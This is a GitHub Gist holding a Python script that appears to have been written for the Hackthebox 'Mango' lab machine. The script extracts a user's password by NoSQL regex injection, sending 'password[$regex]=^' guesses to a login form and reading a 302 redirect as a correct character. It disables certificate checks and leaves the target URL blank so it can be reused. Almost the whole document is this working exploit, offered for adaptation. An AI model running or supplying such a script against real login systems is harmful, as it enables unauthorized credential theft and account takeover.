Last active
November 16, 2019 16:47
-
-
Save ankitsaini2609/7ae6289c0be5f7dd804158cfe165bffe to your computer and use it in GitHub Desktop.
Use Case: Hackthebox (Machine: Mango), You can use it according to your needs.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import urllib3 | |
| import string | |
| import urllib | |
| urllib3.disable_warnings() | |
| username="" #enter the username | |
| password="" | |
| u="" # Enter the url here | |
| headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here. | |
| while True: | |
| for c in string.printable: | |
| if c not in ['*','+','.','?','|','&','\\']: | |
| payload='username=%s&password[$regex]=^%s.*&login=login'% (username,password + c) | |
| r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) | |
| #print(payload) | |
| #print(r.status_code) | |
| if r.status_code == 302: | |
| print("Found one more char : %s" % (password+c)) | |
| password += c |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment